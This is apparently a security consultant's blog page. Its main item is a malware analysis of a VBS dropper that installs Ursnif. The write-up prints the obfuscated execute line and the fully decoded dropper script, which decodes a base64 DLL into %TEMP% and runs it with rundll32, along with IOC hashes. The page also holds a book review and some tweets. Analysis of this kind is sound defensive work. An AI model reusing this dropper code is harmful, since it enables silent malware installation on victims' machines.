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(ˈpiːtə(r)), n, Dutch Computer geek, Father of 3 boys, Living together with @Chrizzzz. Working as a security consultant at @Atos, CISSP certified, Opinions are my own.

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Short VisualBasic #Ursnif dropper write-up

3 min read

Here is my first post of a short investigation into a malicious script that I came across.

The sample was posted to the URLhaus.abuse.ch list. This is probably part of a phising mail which directs you to download the zip file and open it.

When you do this, the VisualBasic script inside the zip archive will typically be launched and the encoded payload will be executed on the system.

After unzipping we can have a first look at the .vbs script

The malicious script:

  • A large string ending in "AAAAMAAQqVT" I'm already assuming a reversed PE executable, when you base64 encode the MZ header it results in something like TVxx.
  • Two arrays
  • A short code block to decode the array's in something useful
for tzZFStIadHqvhzdvlvlbpEXDSYhoiHcgeDgEKN = lbound(wGPjfJzXJQxGLsJWnaUekdibWhoIi) to ubound(dVMYfYdJEGreGsr) : YVlUhhqxZMAvjAYHiFNxxrkWWvzkbiFf = chr(sqr(wGPjfJzXJQxGLsJWnaUekdibWhoIi(tzZFStIadHqvhzdvlvlbpEXDSYhoiHcgeDgEKN)) - sqr(dVMYfYdJEGreGsr(tzZFStIadHqvhzdvlvlbpEXDSYhoiHcgeDgEKN))) : HoVEFmZZVAZqcifFckqTROBxVyUmGActyC = HoVEFmZZVAZqcifFckqTROBxVyUmGActyC & YVlUhhqxZMAvjAYHiFNxxrkWWvzkbiFf : next : execute(HoVEFmZZVAZqcifFckqTROBxVyUmGActyC)

A little rewriting and making it saver by echo the output instead of execute it, results in the following VBS code :

for Value = lbound(ArrayOne) to ubound(ArrayTwo)
    Result = chr(sqr(ArrayOne(Value)) - sqr(ArrayTwo(Value)))
    ConcatResult = ConcatResult & Result
next
WScript.Echo ConcatResult

Running this result in the following script.

on error resume next
set WshShell = CreateObject("WScript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")
Path = WshShell.ExpandEnvironmentStrings("%TEMP%") & "\Adobe.url"
set oUrlLink = WshShell.CreateShortcut(Path)
oUrlLink.TargetPath = "http://adobe.com"
oUrlLink.Save(A)
if  (FSO.FileExists(Path))  Then
    WScript.Echo "Error!"
else
    xml = "Msxml2.DOMDocument"
    ws = "WScript.Shell"
    bin = "bin.base64"
    sa = "shell.application"
    bs = "base64"
    db = "Adodb.Stream"
    Set wshs = createobject(ws)
    Set sh = createobject(sa)
    filepath = wshs.ExpandEnvironmentStrings("%TEMP%") & "\SHCSdw.dll"
end if

Set oXML = CreateObject(xml)
Set oNode = oXML.CreateElement(bs)
oNode.dataType = bin
oNode.text = strreverse(code)

Set BinaryStream = CreateObject(db)
BinaryStream.Type = 1
BinaryStream.Open
BinaryStream.Write oNode.nodeTypedValue
BinaryStream.SaveToFile filepath
sh.ShellExecute "cmd.exe", "/c everybody shit fuck & runDll32 "& filepath &",DllRegisterServer", "", "open", 0

The script places a Adobe.url in the temp folder pointing to http://adobe.com
and it like I already suspected does a string reverse on the code variable - strreverse(code)
passing this via the base64 decoder resullts in a PE executable on the filesystem in your temp folder with the name SHCSdw.dll

The dropped file SHCSdw.dll is a Ursnif sample that was compiled at 2020-02-24 09:57:57, if you can believe this data. The sample is available in Virustotal.

IOC's

File Type sha256
dokument9055.zip Zip archive data bde9ee61351d9c61ddf2e7fc382426a5301f1155e1197f2a3d47468db4486d9c
dokument9055.vbs VisualBasic script 98b3160c553c229cb9be77de3791398aed3cce79e7935d96db9e32bf353b9624
SHCSdw.dll PE32 executable (DLL) bc8da5ad4010226376c376b2d164cfa4e073a0f6ef7761e9f4864a46a8cb9b32

Always funny to read a doctored DBG file location c:\big\fat\Usual\mind\Sight\did\said\Untilpiece.pdb from jhgsdiofiosdfisdhfiufsd.bin /cc @JAMESWT_MHT

Great thread and dig through by @fs0c131y: In to the creators of the app used to report results during the - https://threadreaderapp.com/thread/1224628685808066565.html

Sandworm: A New Era of Cyberwar and the Hunt for the Kremlin's Most Dangerous Hackers by Andy Greenberg

1 min read

Sandworm: A New Era of Cyberwar and the Hunt for the Kremlin's Most Dangerous Hackers

Sandworm: A New Era of Cyberwar and the Hunt for the Kremlin's Most Dangerous Hackers by Andy Greenberg
My rating: 5 of 5 stars

 

 

It came recommended in the Darknet Diaries Podcast ep 54: Notpetya by Jack Rhysider.
And as far as I'm concerned this is a must read for anyone working in Cybersecurity. It gives so much detail about the Russian government hacking techniques and motivations.
I already knew most of the separate attacks described in the book but getting the big picture how all these are related is an eye opener.

View all my reviews

@AlexKornitzer I'm not a coder by a long shot, but please let me know what you think of this scale I created https://github.com/srcr/bitmap-scale/

@James_inthe_box Nice find! The samples have been added to my Zoo. How do you create those histograms?

@Supernaut29A I'm working for an MSP, but reading his I think you need a different MSP. One nuance on the 'Minimum effort for maximum profit' statement. Often it is also what the customer gets what it pays for. If you take the cheapest MSP you probably will get the least service.

@cyb3rops I'm shamelessly going to steal both of them for my own future reference. I'm curious about the rest of the presentation.